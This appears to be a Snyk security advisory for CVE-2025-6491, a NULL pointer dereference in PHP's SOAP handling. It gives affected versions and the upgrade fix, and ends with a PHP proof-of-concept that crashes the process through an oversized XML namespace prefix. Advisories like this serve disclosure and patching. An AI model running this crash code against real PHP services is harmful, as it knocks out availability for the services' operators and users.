NULL Pointer Dereference Affecting php package, versions [,8.1.33)[8.2.0RC1,8.2.29)[8.3.0RC1,8.3.23)[8.4.0RC1,8.4.10)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published3 Aug 2025
- disclosed5 Jul 2025
- creditUnknown
Introduced: 5 Jul 2025
CVE-2025-6491 (opens in a new tab)How to fix?
Upgrade php to version 8.1.33, 8.2.29, 8.3.23, 8.4.10 or higher.
Overview
Affected versions of this package are vulnerable to NULL Pointer Dereference via the serialize_zval function when a fully qualified name larger than 2GB is used as an XML namespace prefix. An attacker can cause a segmentation fault and disrupt service availability by supplying excessively large input data.
PoC
<?php
ini_set('memory_limit', '6144M');
// 2 GB prefix to overflow int (INT_MAX = 2147483647)
$hugePrefix = str_repeat("A", 0x7fffffff);
// This is the local part of the XML name
$localName = "Element";
// This will be passed to xmlBuildQName(prefix: hugePrefix, ncname: localName)
$soapVar = new SoapVar(
"value",
XSD_STRING,
null,
null,
"{$hugePrefix}:{$localName}" // Triggers xmlBuildQName
);
$options = [
'location' => 'http://127.0.0.1/', // localhost dummy
'uri' => 'urn:dummy',
'trace' => 1,
'exceptions' => true,
];
try {
$client = new SoapClient(null, $options);
$client->__soapCall("DummyFunction", [$soapVar]);
} catch (Exception $e) {
echo "Caught Exception: " . $e->getMessage() . "\n";
}
?>